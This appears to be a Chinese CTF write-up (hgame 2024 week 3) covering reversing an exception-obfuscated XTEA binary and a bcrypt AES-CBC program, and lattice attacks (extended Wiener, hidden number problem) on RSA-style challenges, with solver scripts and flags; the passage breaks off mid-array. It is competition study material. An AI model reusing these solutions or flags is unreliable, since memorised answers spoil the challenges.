.text:00007FF75D9B51E1 ; ---------------------------------------------------------------------
.text:00007FF75D9B51E1
.text:00007FF75D9B51E1 L_EH_1:                                         ; DATA XREF: .rdata:00007FF75D9B6D34↓o
.text:00007FF75D9B51E1                                                 ; .pdata:00007FF75D9BA6B4↓o ...
.text:00007FF75D9B51E1 ;   catch(...) // owned by 7FF75D9B191C
.text:00007FF75D9B51E1                 mov     [rsp+148h+var_138], rdx
.text:00007FF75D9B51E6                 push    rbp
.text:00007FF75D9B51E7                 sub     rsp, 20h
.text:00007FF75D9B51EB                 mov     rbp, rdx
.text:00007FF75D9B51EE                 mov     eax, [rbp+30h]
.text:00007FF75D9B51F1                 and     eax, 3
.text:00007FF75D9B51F4                 mov     eax, [rbp+rax*4+40h]
.text:00007FF75D9B51F8                 mov     ecx, [rbp+30h]
.text:00007FF75D9B51FB                 add     ecx, eax
.text:00007FF75D9B51FD                 mov     eax, ecx
.text:00007FF75D9B51FF                 mov     ecx, [rbp+2Ch]
.text:00007FF75D9B5202                 shr     ecx, 5
.text:00007FF75D9B5205                 mov     edx, [rbp+2Ch]
.text:00007FF75D9B5208                 shl     edx, 4
.text:00007FF75D9B520B                 xor     edx, ecx
.text:00007FF75D9B520D                 mov     ecx, edx
.text:00007FF75D9B520F                 add     ecx, [rbp+2Ch]
.text:00007FF75D9B5212                 xor     ecx, eax
.text:00007FF75D9B5214                 mov     eax, ecx
.text:00007FF75D9B5216                 mov     ecx, [rbp+24h]
.text:00007FF75D9B5219                 add     ecx, eax
.text:00007FF75D9B521B                 mov     eax, ecx
.text:00007FF75D9B521D                 mov     [rbp+24h], eax
.text:00007FF75D9B5220                 lea     rax, L_EH_1_RESUME
.text:00007FF75D9B5227                 add     rsp, 20h
```

```
.text:00007FF75D9B522B                 pop     rbp
.text:00007FF75D9B522C                 retn
.text:00007FF75D9B522C ; ---------------------------------------------------------------------
.text:00007FF75D9B522D                 align 2
.text:00007FF75D9B522E
.text:00007FF75D9B522E L_EH_2:                                 ; DATA XREF: .rdata:00007FF75D9B6D3B↓o
.text:00007FF75D9B522E                                         ; .pdata:00007FF75D9BA6C0↓o ...
.text:00007FF75D9B522E ;   catch(...) // owned by 7FF75D9B1942
.text:00007FF75D9B522E                 mov     [rsp+arg_8], rdx
.text:00007FF75D9B5233                 push    rbp
.text:00007FF75D9B5234                 sub     rsp, 20h
.text:00007FF75D9B5238                 mov     rbp, rdx
.text:00007FF75D9B523B                 mov     eax, [rbp+30h]
.text:00007FF75D9B523E                 shr     eax, 0Bh
.text:00007FF75D9B5241                 and     eax, 3
.text:00007FF75D9B5244                 mov     eax, [rbp+rax*4+40h]
.text:00007FF75D9B5248                 mov     ecx, [rbp+30h]
.text:00007FF75D9B524B                 add     ecx, eax
.text:00007FF75D9B524D                 mov     eax, ecx
.text:00007FF75D9B524F                 mov     ecx, [rbp+24h]
.text:00007FF75D9B5252                 shr     ecx, 6
.text:00007FF75D9B5255                 mov     edx, [rbp+24h]
.text:00007FF75D9B5258                 shl     edx, 5
.text:00007FF75D9B525B                 xor     edx, ecx
.text:00007FF75D9B525D                 mov     ecx, edx
.text:00007FF75D9B525F                 add     ecx, [rbp+24h]
.text:00007FF75D9B5262                 xor     ecx, eax
.text:00007FF75D9B5264                 mov     eax, ecx
.text:00007FF75D9B5266                 mov     ecx, [rbp+2Ch]
.text:00007FF75D9B5269                 add     ecx, eax
.text:00007FF75D9B526B                 mov     eax, ecx
.text:00007FF75D9B526D                 mov     [rbp+2Ch], eax
.text:00007FF75D9B5270                 lea     rax, L_EH_2_RESUME
.text:00007FF75D9B5277                 add     rsp, 20h
.text:00007FF75D9B527B                 pop     rbp
.text:00007FF75D9B527C                 retn
.text:00007FF75D9B527C ; ---------------------------------------------------------------------
.text:00007FF75D9B527D                 align 2
.text:00007FF75D9B527E
.text:00007FF75D9B527E L_EH_3:                                 ; DATA XREF: .rdata:00007FF75D9B6D42↓o
.text:00007FF75D9B527E                                         ; .pdata:00007FF75D9BA6CC↓o ...
```

```
.text:00007FF75D9B527E ;   catch(...) // owned by 7FF75D9B1968
.text:00007FF75D9B527E                 mov     [rsp+arg_8], rdx
.text:00007FF75D9B5283                 push    rbp
.text:00007FF75D9B5284                 sub     rsp, 20h
.text:00007FF75D9B5288                 mov     rbp, rdx
.text:00007FF75D9B528B                 mov     eax, [rbp+3Ch]
.text:00007FF75D9B528E                 mov     ecx, [rbp+30h]
.text:00007FF75D9B5291                 xor     ecx, eax
.text:00007FF75D9B5293                 mov     eax, ecx
.text:00007FF75D9B5295                 mov     [rbp+30h], eax
.text:00007FF75D9B5298                 lea     rax, L_EH_3_RESUME
.text:00007FF75D9B529F                 add     rsp, 20h
.text:00007FF75D9B52A3                 pop     rbp
.text:00007FF75D9B52A4                 retn
.text:00007FF75D9B52A4 ; ---------------------------------------------------------------------
```

```
__int64 (__fastcall *__fastcall L_EH_1(__int64 a1, _DWORD *a2))()
{
  a2[9] += (a2[(a2[12] & 3) + 16] + a2[12]) ^ (a2[11] + ((a2[11] >> 5) ^ (16 * a2[11])));
  return L_EH_1_RESUME;
}

__int64 (__fastcall *__fastcall L_EH_2(__int64 a1, _DWORD *a2))()
{
  a2[11] += (a2[((a2[12] >> 11) & 3) + 16] + a2[12]) ^ (a2[9] + ((a2[9] >> 6) ^ (32 * a2[9])));
  return L_EH_2_RESUME;
}

void (*__fastcall L_EH_3(__int64 a1, _DWORD *a2))()
{
  a2[12] ^= a2[15];
  return L_EH_3_RESUME;
}
```

其实现了一个加密和key scheduling均经过修改的XTEA。

```
.text:00007FF75D9B18A8 ;   try {
.text:00007FF75D9B18A8                 mov     [rsp+148h+i_blk], 0
.text:00007FF75D9B18B0                 jmp     short L_ENC_BLOCKS_BODY
```

```
.text:00007FF75D9B18B2 ; ---------------------------------------------------------------------
.text:00007FF75D9B18B2
.text:00007FF75D9B18B2 L_ENC_BLOCKS_NEXT:                          ; CODE XREF: main+35C↓j
.text:00007FF75D9B18B2                 mov     eax, [rsp+148h+i_blk]
.text:00007FF75D9B18B6                 add     eax, 2
.text:00007FF75D9B18B9                 mov     [rsp+148h+i_blk], eax
.text:00007FF75D9B18BD
.text:00007FF75D9B18BD L_ENC_BLOCKS_BODY:                          ; CODE XREF: main+240↑j
.text:00007FF75D9B18BD                 cmp     [rsp+148h+i_blk], 8
.text:00007FF75D9B18C2                 jge     L_ENC_BLOCKS_DONE
.text:00007FF75D9B18C8                 movsxd  rax, [rsp+148h+i_blk]
.text:00007FF75D9B18CD                 mov     rdx, rax
.text:00007FF75D9B18D0                 lea     rcx, [rsp+148h+var_78]
.text:00007FF75D9B18D8                 call    fun_deref_add4m
.text:00007FF75D9B18DD                 mov     eax, [rax]
.text:00007FF75D9B18DF                 mov     [rsp+148h+v_0], eax
.text:00007FF75D9B18E3                 mov     eax, [rsp+148h+i_blk]
.text:00007FF75D9B18E7                 inc     eax
.text:00007FF75D9B18E9                 cdqe
.text:00007FF75D9B18EB                 mov     rdx, rax
.text:00007FF75D9B18EE                 lea     rcx, [rsp+148h+var_78]
.text:00007FF75D9B18F6                 call    fun_deref_add4m
.text:00007FF75D9B18FB                 mov     eax, [rax]
.text:00007FF75D9B18FD                 mov     [rsp+148h+v_1], eax
.text:00007FF75D9B1901                 mov     [rsp+148h+rounds], 0
.text:00007FF75D9B1909                 jmp     short L_ENC_ROUNDS_BODY
.text:00007FF75D9B190B ; ---------------------------------------------------------------------
.text:00007FF75D9B190B
.text:00007FF75D9B190B L_ENC_ROUNDS_NEXT:                          ; CODE XREF: main:L_EH_3_RESUME↓j
.text:00007FF75D9B190B                 mov     eax, [rsp+148h+rounds]
.text:00007FF75D9B190F                 inc     eax
.text:00007FF75D9B1911                 mov     [rsp+148h+rounds], eax
.text:00007FF75D9B1915
.text:00007FF75D9B1915 L_ENC_ROUNDS_BODY:                          ; CODE XREF: main+299↑j
.text:00007FF75D9B1915                 cmp     [rsp+148h+rounds], 32
.text:00007FF75D9B191A                 jge     short L_ENC_ROUNDS_DONE
.text:00007FF75D9B191A ;   } // starts at 7FF75D9B18A8
.text:00007FF75D9B191C ;   try {
.text:00007FF75D9B191C                 lea     rax, aException ; "exception"
.text:00007FF75D9B1923                 mov     [rsp+148h+pExceptionObject], rax
.text:00007FF75D9B192B                 lea     rdx, __TI2PEAD  ; pThrowInfo
```

```
.text:00007FF75D9B1932                 lea     rcx, [rsp+148h+pExceptionObject] ; pExceptionObject
.text:00007FF75D9B193A                 call    _CxxThrowException
.text:00007FF75D9B193A ; ---------------------------------------------------------------------
.text:00007FF75D9B193F                 align 20h
.text:00007FF75D9B1940                 jmp     short $+2
.text:00007FF75D9B1940 ;   } // starts at 7FF75D9B191C
.text:00007FF75D9B1942 ; ---------------------------------------------------------------------
.text:00007FF75D9B1942
.text:00007FF75D9B1942 L_EH_1_RESUME:                          ; CODE XREF: main+2D0↑j
.text:00007FF75D9B1942                                         ; DATA XREF: main+3BB0↓o
.text:00007FF75D9B1942 ;   try {
.text:00007FF75D9B1942                 lea     rax, aException_0 ; "exception"
.text:00007FF75D9B1949                 mov     [rsp+arg_98], rax
.text:00007FF75D9B1951                 lea     rdx, __TI2PEAD  ; pThrowInfo
.text:00007FF75D9B1958                 lea     rcx, [rsp+arg_98] ; pExceptionObject
.text:00007FF75D9B1960                 call    _CxxThrowException
.text:00007FF75D9B1960 ; ---------------------------------------------------------------------
.text:00007FF75D9B1965                 align 2
.text:00007FF75D9B1966                 jmp     short $+2
.text:00007FF75D9B1966 ;   } // starts at 7FF75D9B1942
.text:00007FF75D9B1968 ; ---------------------------------------------------------------------
.text:00007FF75D9B1968
.text:00007FF75D9B1968 L_EH_2_RESUME:                          ; CODE XREF: main+2F6↑j
.text:00007FF75D9B1968                                         ; DATA XREF: main+3C00↓o
.text:00007FF75D9B1968 ;   try {
.text:00007FF75D9B1968                 lea     rax, aException_1 ; "exception"
.text:00007FF75D9B196F                 mov     [rsp+arg_A0], rax
.text:00007FF75D9B1977                 lea     rdx, __TI2PEAD  ; pThrowInfo
.text:00007FF75D9B197E                 lea     rcx, [rsp+arg_A0] ; pExceptionObject
.text:00007FF75D9B1986                 call    _CxxThrowException
.text:00007FF75D9B1986 ; ---------------------------------------------------------------------
.text:00007FF75D9B198B                 align 4
.text:00007FF75D9B198C                 jmp     short $+2
.text:00007FF75D9B198C ;   } // starts at 7FF75D9B1968
```

```
.text:00007FF75D9B198E ; ---------------------------------------------------------------------
.text:00007FF75D9B198E
.text:00007FF75D9B198E L_EH_3_RESUME:                          ; CODE XREF: main+31C↑j
.text:00007FF75D9B198E                                         ; DATA XREF: main+3C28↓o
.text:00007FF75D9B198E ;   try {
.text:00007FF75D9B198E                 jmp     L_ENC_ROUNDS_NEXT
.text:00007FF75D9B1993 ; ---------------------------------------------------------------------
.text:00007FF75D9B1993
.text:00007FF75D9B1993 L_ENC_ROUNDS_DONE:                      ; CODE XREF: main+2AA↑j
.text:00007FF75D9B1993                 movsxd  rax, [rsp+148h+i_blk]
.text:00007FF75D9B1998                 mov     rdx, rax
.text:00007FF75D9B199B                 lea     rcx, [rsp+148h+var_78]
.text:00007FF75D9B19A3                 call    fun_deref_add4m
.text:00007FF75D9B19A8                 mov     ecx, [rsp+148h+v_0]
.text:00007FF75D9B19AC                 mov     [rax], ecx
.text:00007FF75D9B19AE                 mov     eax, [rsp+148h+i_blk]
.text:00007FF75D9B19B2                 inc     eax
.text:00007FF75D9B19B4                 cdqe
.text:00007FF75D9B19B6                 mov     rdx, rax
.text:00007FF75D9B19B9                 lea     rcx, [rsp+148h+var_78]
.text:00007FF75D9B19C1                 call    fun_deref_add4m
.text:00007FF75D9B19C6                 mov     ecx, [rsp+148h+v_1]
.text:00007FF75D9B19CA                 mov     [rax], ecx
.text:00007FF75D9B19CC                 jmp     L_ENC_BLOCKS_NEXT
.text:00007FF75D9B19D1 ; ---------------------------------------------------------------------
.text:00007FF75D9B19D1
.text:00007FF75D9B19D1 L_ENC_BLOCKS_DONE:                      ; CODE XREF: main+252↑j
.text:00007FF75D9B19D1                 lea     rdx, [rsp+148h+var_40]
.text:00007FF75D9B19D9                 lea     rcx, [rsp+148h+var_78]
.text:00007FF75D9B19E1                 call    sub_7FF75D9B27F0
.text:00007FF75D9B19E6                 movzx   eax, al
.text:00007FF75D9B19E9                 test    eax, eax
.text:00007FF75D9B19EB                 jz      short loc_7FF75D9B1A12
.text:00007FF75D9B19ED                 lea     rdx, aRight     ; "right!"
.text:00007FF75D9B19F4                 mov     rcx, cs:?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A ; std::ostream std::cout
.text:00007FF75D9B19FB                 call    sub_7FF75D9B2870
```

观察main函数汇编可以发现，在每轮加密中分别抛出三个异常，对应了三个异常处理函数，即为XTEA算法的三步 操作。同样我们也能够发现每次加密的块不重叠，以及密钥与delta的具体值。

那么我们不难写出解密程序：

```c
#define _CRT_SECURE_NO_WARNINGS

#include <assert.h>
#include <stdio.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <ctype.h>
#include <wchar.h>

#pragma warning(push)
#pragma warning(disable:6031)

static uint32_t cipher[] = {
    0x32FC31EA, 0xF0566F42, 0xF905B0B2, 0x5F4551BE, 0xFB3EFCBB, 0x6B6ADB30, 0x04839879, 0x2F4378DF
};
static const uint32_t KEY[] = {
    0x000004D2, 0x00000929, 0x00000D80, 0x000011D7
};

void decipher(unsigned int num_rounds, uint32_t *pv0, uint32_t *pv1, uint32_t const k[4]) {
    uint32_t v0 = *pv0, v1 = *pv1;
    const uint32_t delta = 0x33221155;
    uint32_t sum = 0;
    for (int i = 0; i < num_rounds; i++) {
        sum ^= delta;
        v1 -= (((v0 << 5) ^ (v0 >> 6)) + v0) ^ (sum + k[(sum >> 11) & 3]);
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + k[sum & 3]);
    }
    *pv0 = v0; *pv1 = v1;
}

int main(void) {
    for (int i_blk = 0; i_blk < 8; i_blk += 2) {
        uint32_t *pv0 = cipher + i_blk;
        uint32_t *pv1 = cipher + i_blk + 1;
        decipher(32, pv0, pv1, KEY);
```

```
    }

    for (int i = 0; i < sizeof(cipher); i++) {
        putchar(((uint8_t *)cipher)[i]);
    }
    putchar('\n');

    return 0;
}

#pragma warning(pop)

```

`hgame{C_p1us_plus_exc3pti0n!!!!}`

encrypt | Done

> encrypt.zip
> 8.18KB

Windows bcrypt分析。

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  ...

  v17 = 0i64;
  v4 = 0i64;
  phAlgorithm = 0i64;
  v5 = 0i64;
  phKey = 0i64;
  iv = 0i64;
  v28 = 0;
  pcbResult = 0;
  *(_DWORD *)pbOutput = 0;
  *(_DWORD *)v26 = 0;
  cbOutput = 0;
  sub_140001770(std::cin);
  wcscpy(pszAlgId, L"AES");
  *(__m128i *)pbInput = _mm_load_si128((const __m128i *)&xmmword_1400034F0);
  *(__m128i *)&pbInput[16] = _mm_load_si128((const __m128i *)&xmmword_1400034E0);
  if ( BCryptOpenAlgorithmProvider(&phAlgorithm, pszAlgId, 0i64, 0) >= 0
```

```
21      && BCryptGetProperty(phAlgorithm, L"ObjectLength", pbOutput, 4u,
    &pcbResult, 0) >= 0 )
22    {
23      d_obj_len = *(_DWORD *)pbOutput;
24      ProcessHeap = GetProcessHeap();
25      v5 = (UCHAR *)HeapAlloc(ProcessHeap, 0, d_obj_len);
26      if ( v5 )
27      {
28        if ( BCryptGetProperty(phAlgorithm, L"BlockLength", v26, 4u, &pcbResult,
    0) >= 0 )
29        {
30          d_block_len = *(_DWORD *)v26;
31          v10 = GetProcessHeap();
32          iv = HeapAlloc(v10, 0, d_block_len);
33          if ( iv )
34          {
35            memcpy(iv, arr_iv, *(unsigned int *)v26);
36            v12 = 8i64;
37            *(__m128i *)pbInput = _mm_xor_si128(
38                                    _mm_load_si128((const __m128i
    *)&xmmword_140003500),
39                                    _mm_loadu_si128((const __m128i *)pbInput));
40            do
41              *(_WORD *)&pbInput[2 * v12++] ^= 0x55u;
42            while ( v12 < 15 );
43            if ( BCryptSetProperty(phAlgorithm, L"ChainingMode", pbInput, 0x20u,
    0) >= 0
44              && BCryptGenerateSymmetricKey(phAlgorithm, &phKey, v5, *(ULONG
    *)pbOutput, (PUCHAR)pbSecret, 16u, 0) >= 0
45              && BCryptExportKey(phKey, 0i64, L"OpaqueKeyBlob", 0i64, 0,
    &cbOutput, 0) >= 0 )
46            {
47              v13 = cbOutput;
48              v14 = GetProcessHeap();
49              v15 = (UCHAR *)HeapAlloc(v14, 0, v13);
50              if ( v15 )
51              {
52                if ( BCryptExportKey(phKey, 0i64, L"OpaqueKeyBlob", v15,
    cbOutput, &cbOutput, 0) >= 0 )
53                {
54                  v16 = GetProcessHeap();
55                  v17 = HeapAlloc(v16, 0, 0x32ui64);
56                  if ( v17 )
57                  {
58                    *v17 = xmmword_140005750;
59                    v17[1] = xmmword_140005760;
60                    v17[2] = xmmword_140005770;
```

```
                  *((_WORD *)v17 + 24) = word_140005780;
                  if ( BCryptEncrypt(phKey, (PUCHAR)v17, 0x32u, 0i64, (PUCHAR)iv, *(ULONG *)v26, 0i64, 0, &v28, 1u) >= 0 )
                  {
                    v18 = v28;
                    v19 = GetProcessHeap();
                    v4 = HeapAlloc(v19, 0, v18);
                    if ( v4 )
                    {
                      if ( BCryptEncrypt(
                             phKey,
                             (PUCHAR)v17,
                             0x32u,
                             0i64,
                             (PUCHAR)iv,
                             *(ULONG *)v26,
                             (PUCHAR)v4,
                             v28,
                             &pcbResult,
                             1u) >= 0
                        && BCryptDestroyKey(phKey) >= 0 )
                      {
                        phKey = 0i64;
                        v20 = GetProcessHeap();
                        HeapFree(v20, 0, v17);
                        v17 = 0i64;
                        if ( !memcmp(v4, &unk_140005050, v28) )
                          puts("right flag!");
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }

    ...

    return 0;
}
```

AES很明显，现在需要找到三个关键参数：mode of operation，密钥和IV。

密钥和IV很好找，分别在 `BCryptGenerateSymmetricKey` 和 `BCryptEncrypt` 处引用。Mode of operation是一个字符串，存在两个OWORD里并进行了一次异或：

```
*(__m128i *)mode = _mm_load_si128((const __m128i *)&xmmword_1400034F0);
*(__m128i *)&mode[16] = _mm_load_si128((const __m128i *)&xmmword_1400034E0);
...
v12 = 8i64;
*(__m128i *)mode = _mm_xor_si128(
                     _mm_load_si128((const __m128i *)&xmmword_140003500),
                     _mm_loadu_si128((const __m128i *)mode));
do
  *(_WORD *)&mode[2 * v12++] ^= 0x55u;
while ( v12 < 15 );
```

`xmmword_140003500` 中全是零扩展的0x55。那么解密可得到mode of operation为CBC。

容易编写解密脚本：

```
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from pwn import *

XMM_CHAINING_MODE = bytes([0x0016, 0x003D, 0x0034, 0x003C, 0x003B, 0x003C, 0x003B, 0x0032, 0x0018, 0x003A, 0x0031, 0x0030, 0x0016, 0x0017, 0x0016])
KEY = bytes([0x4C, 0x9D, 0x7B, 0x3E, 0xEC, 0xD0, 0x66, 0x1F, 0xA0, 0x34, 0xDC, 0x86, 0x3F, 0x5F, 0x1F, 0xE2])
IV = bytes([0x93, 0x6A, 0xF2, 0x25, 0xFA, 0x68, 0x10, 0xB8, 0xD0, 0x7C, 0x3E, 0x5E, 0x9E, 0xE8, 0xEE, 0x0D])
CIPHER = bytes([0xA4, 0xE1, 0x0F, 0x1C, 0x53, 0xBC, 0x42, 0xCD, 0x8E, 0x71, 0x54, 0xB7, 0xF1, 0x75, 0xE3, 0x50, 0x97, 0x20, 0x71, 0x97, 0xA8, 0x3B, 0x77, 0x61, 0x40, 0x69, 0x68, 0xC1, 0xB4, 0x7B, 0x88, 0x54, 0x9F, 0x19, 0x03, 0x44, 0x70, 0x78, 0x24, 0x25, 0xF0, 0xA9, 0x65, 0x35, 0x91, 0x3A, 0x04, 0x9C, 0x4E, 0x66, 0xBE, 0xD2, 0x8B, 0x8B, 0x20, 0x73, 0xCE, 0xA0, 0xCB, 0xE9, 0x39, 0xBD, 0x6D, 0x83])

chaining_mode = bytes(map(lambda x: x ^ 0x55, XMM_CHAINING_MODE)).decode(
    errors="ignore"
)[-3::]
info(f"Chaining mode: {chaining_mode}")
assert chaining_mode == "CBC"

F = AES.new(KEY, AES.MODE_CBC, IV=IV)
result = unpad(F.decrypt(CIPHER), block_size=F.block_size)
success(result.decode(errors="ignore"))
```

```
19
```

```
PS D:\Workspace\rev\hgame_2024\week_3> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_3/encrypt/sol.py
[*] Chaining mode: CBC
[+] hgame{rever5e_wind0ws_4P1_is_1nter3sting}
PS D:\Workspace\rev\hgame_2024\week_3>
```

`hgame{rever5e_wind0ws_4P1_is_1nter3sting}`

Crypto

exRSA | Done

> RRRSA
>
> attachment.py
> 3.39KB

Extended Weiner's attack，三个d已知情况（d与e地位相等）。

https://link.springer.com/chapter/10.1007/3-540-46701-7_14

Extending Wiener’s Attack in the Presence of Many Decrypting Exponents

Wiener has shown that when the RSA protocol is used with a decrypting exponent, d, which is less than N 1/4 and an encrypting exponent, e, approximately the same size as N, the

```python
#!/usr/bin/env sage
# sol_1.sage

from sage.all import *

e1 = 50770482378119694274731112253708761225289674470565518991236134617926880028967883943041929176105641497662522322815769902934852396841453108769309979189600708169688291503768759534054208095862671531717174961983368610895237018320983222845019311428898175758167617050449517055308493279288498481586430306933631437570632205847149258939655879670421375578072611541179163585194779646452934719750633620506903063536274929808610084397653658376226579779580698532880563072531675098832581229498822770216653178072533089063556704721723461711772676880649593971869261039872595515866279654069791181934855275209767484907284601679490552895 39
```

```
e2 =
1252684829834900539052027692392913246345915257499862575720825929789111513365411
7648215782945332529081365273860316201130793306570777735076534772168999705895641
2075353038394550740030576878103811109783209889760113261069199407991609742283118
2476004637027350551106561926855769718258625923437923941048278444981573233529439
5676302226416863709340032987612715151916084291821095462625821023133560415325824
8853472213914969372132463617363612708467411285575956030527136125284537099484031
0071127767964121852042987889756565548208641057637997140478921229769755374829243
8183065500993375040031733825496692797699362421010271599510269401
e3 =
1298594075757853081051937033206365834404668885660596747494101443687272036044404
0464644790980976991393970947023398357422203873284294843401144065013911463670501
5598886011451086519610983482508241666976655284176683744088145729597227890201103
9624507627555350587856560350946622071021926003778384927647539728342106871608863
8186994778153542817681963059581651103563578804145156157584336712678882995685632
6156868539801760476833269742838963433229815211502113175975715545424889212901581
2263414057114803673289380806411904832885513405470912087789594167016642166480618
6710346824494054783025733475898081247824887967550418509038276279
c =
1414176060152301842110497098024597189246259172019335414900127452098233943041825
9260285174370753162949433553239474589280105569129091397392829242555066473056968
7290789895047310855641735019978314534969108725592628736328692201184114333953086
3300198239231490707393383076174791818994158815857391930802936280447588808440607
4153773913366045334400997938492378572475575823073913293205159960218200003555605
1421750564358702699491858831112714356685803665331598517755196383642972851574564
6807123637193259859856630452155138986610272067480257330592146135108190083578873
0941331144400508608441922594410932367870027157379323428471473 99
n =
1785330373383806617311041789059370446414682488631645678087335255996974261575529
4466664439529352718434399552818635352768033531948009737170697566286848710832800
4263113285609241336984816535940077278770315062657063415608105880642096818091465
9757212617330346312566818383784042766710182723475282374748379294453689307018801
0357644478512143332014786539698535220139784440314481371464053954769822738407808
1619469432167147296858208969724670208934933490512439833900187620768128686780981
7241646569155028537284640299199579434901583886822168621639659732727311016592278
9814315858462049706255254066724012925815100434953821856854529753

a = 2 / 5
D = diagonal_matrix(
    ZZ,
    [
        int(n ** (3 / 2)),
        n,
        int(n ** (3 / 2 + a)),
        int(n ** (1 / 2)),
        int(n ** (3 / 2 + a)),
        int(n ** (1 + a)),
```

```
        int(n ** (1 + a)),
        1,
    ],
)
L = (
    matrix(
        ZZ,
        [
            [1, -n, 0, n**2, 0, 0, 0, -(n**3)],
            [0, e1, -e1, -e1 * n, -e1, 0, e1 * n, e1 * n**2],
            [0, 0, e2, -e2 * n, 0, e2 * n, 0, e2 * n**2],
            [0, 0, 0, e1 * e2, 0, -e1 * e2, -e1 * e2, -e1 * e2 * n],
            [0, 0, 0, 0, e3, -e3 * n, -e3 * n, e3 * n**2],
            [0, 0, 0, 0, 0, e1 * e3, 0, -e1 * e3 * n],
            [0, 0, 0, 0, 0, 0, e2 * e3, -e2 * e3 * n],
            [0, 0, 0, 0, 0, 0, 0, e1 * e2 * e3],
        ],
    )
    * D
)
Lred = L.LLL()
t = vector(ZZ, Lred[0])
x = t * L ** (-1)
phi = int(x[1] / x[0] * e1)

d = inverse_mod(0x10001, phi)
m = pow(c, d, n)
print(m)

```

```
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_3/exRSA$ sage ./sol_1.sage
62770391407579870220560351172490252256456545247559991322470618696697177329564686225377593592423123894512647371133
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_3/exRSA$
```

```
# sol_2.py

from Crypto.Util.number import long_to_bytes
from pwn import *

m = 62770391407579870220560351172490252256456545247559991322470618696697177329564686
```

```
622537759359242312389451264737113 3

success(long_to_bytes(m).decode("ascii", errors="ignore"))

```

```
PS D:\Workspace\rev\hgame_2024\week_3> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_3/exRSA/sol_2.py
[+] hgame{Ext3ndin9_W1en3r's_att@ck_1s_so0o0o_ea3y}
PS D:\Workspace\rev\hgame_2024\week_3>
```

`hgame{Ext3ndin9_W1en3r's_att@ck_1s_so0o0o_ea3y}`

HNP | Done

> hidden number problem
>
> attachment.py
> 5.76KB

```python
from Crypto.Util.number import *
from secret import flag

def encrypt(m,p,t):
    return [(ti*m)%p for ti in t]

m=bytes_to_long(flag[:63])
length=m.bit_length()+8
p=getStrongPrime(length)
n=32
t=[getRandomRange(0,p) for _ in range(n)]
enc=encrypt(m,p,t)
res=[i%(2**n+1) for i in enc]

print(f'p={p}')
print(f't={t}')
print(f'res={res}')
```

问题复述如下：有一未知数 m ，给定质数 p 和 n 个数对 (r_i, t_i) ，满足 $r_i \equiv t_i m \mod p \pmod{2^n+1}$ 。求 m 。

由于HNP求解问题形式为 $\beta_i - t_i m + a_i \equiv 0 \pmod p$ s.t. $|\beta_i| < B$，我们将上式重写为以下形式：$k_i(2^n+1) - (-t_i m) + r_i \equiv 0 \pmod p$。设 $l = 2^n + 1$，对 l 求 $\mathbb{Z}_p$ 上的逆元即可把它放到已知量中。B 的值需要多尝试几次，但是我们知道它的上界是 $p / 2^K$，其中 $K = \left\lceil \sqrt{\log p} \right\rceil + \lceil \log \log p \rceil = 16$，所以多试几个大于16的 K 就可以。做完这些处理后就可以用格上的SVP求解了。

https://eprint.iacr.org/2023/032

A Gentle Tutorial for Lattice-Based Cryptanalysis

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（感谢这篇文章，梅开二度）

```
#!/usr/bin/env sage

from sage.all import *

p = 113062992417749500532695471032846374144078351257772452040693675676910219288647732075487310515928535152062323659011697780480841465208290323393282639135580 53
t_orig = [
    3322008555255129336821309701482996933045379792432532251579564581211072677403244970423357912298444457457306659801200188166569132560659008356952740599371688,
    8276764260264858811845211578415023343942634613522088631021199433066924291049858607045960690574035761370394263154981351728494309737901121703288822616367266,
    9872291736922974456420418463601129094227231979218385985149661132792467621940722580745327835405374826293791332815176458750548942757024017382881517284991646,
    4021521745142535813153669961146457406640791935844796005344073886289668464885011415887755787903927824762833158130615018326666118383128627535623639046817799,
    2456915107614170049354115583437816508987061569996921198877893849283876621438606695259655749058402181381916420200147408653880447666761670817253678795658 6,
    3218501156520848572861458831123822689702035242514803505049101779996231750875036344564322600086861361414609201214822262908428091097382781770850929067404210,
    3563405987398375076327633444036492163004958714828685846202818610320439306396912425420391070117069875583786819323173342951172594046652017297552813501557159,
    4914709045693863038598225124534515048993310770286105070725513667435983789847547
```

```
225180024824321458761262390817487861675595466513538901373422149236133926354,
15
108005661129999479110067024544273895104096586444197490674408124587443915099253069948061873894060327183197736655873240105420684861315826723639257692485952 66,
16
623364920052209790798128731089194813138909691039137935275037339503622126325928773037501254722851684318024014108149525215083265733712809162344553998427324,
17
491842109762843061380126552587056104123001102981885129108686297050862152907449760167877492128591274558984051045967752207488757615201535698459258964984443 1,
18
744573335721584737007069613665368974871802808036481226394778574735325893696897818347154970616636424314897215421505522485791883493770755505324618482209560 2,
19
933353475504922562753028424938843869400260264504793386545315983679666719896605817798850018407345438618408093472753720057545759897612166737380144139593244 0,
20
501085480317997044583879157532112791127831163523007663902341157114848890340061012124861730777387261274322899889298620020271349657037544725525863093215882 2,
21
600064506846256981964846107014055752114480101349010663235683632500254640087146395722858114395459100539853325221842997048611549053558407178626081877316632 4,
22
800726090912466938186203490155611124578050598708299080438081479720032222894243267393994469306247017825686736660233161236317640835630464167245945651797856 0,
23
101797391753738833769295320263891357921292337306012786875070414294389455985239957001846223596606059109328031417855987583262548864484810463076660428358297 25,
24
839007276771739570192628977943305567286388033603183700911910344867523236294222363312932830911815827383596156743659123492278395337331976783587726684954529 2,
25
787501191156296787467611368069392923028386684147564116285466529311134446770942440862319837094279709996462544751279713819285300912688885328352603441100751 3,
26
529377281102001250102012477521477019323465521031934305864867541111521045368075307004282183508261963434150068089232300211895355774611691809366176946464206 8,
27
261379727942677454030646193131919365799989212984483215965877171738712024679568967823127537149955652239606159188243142631084197471341997404588302161398770 5,
28
965812601213321780412663000523607351348521539081297797466002905352266528255096504028825607494524685074469451954335877725292966156163624116157593706152171 1,
29
298253522084497762177513940635752887601934938563481179548023067798234569718358620366909499803999568397393972164488754390749496382496804219935394512036750 5,
```

```
107289984878191849357180490850397539311037762262082755398160292401340078782643246498566039415279868796667596686125847400130898160017838981308638814854641,
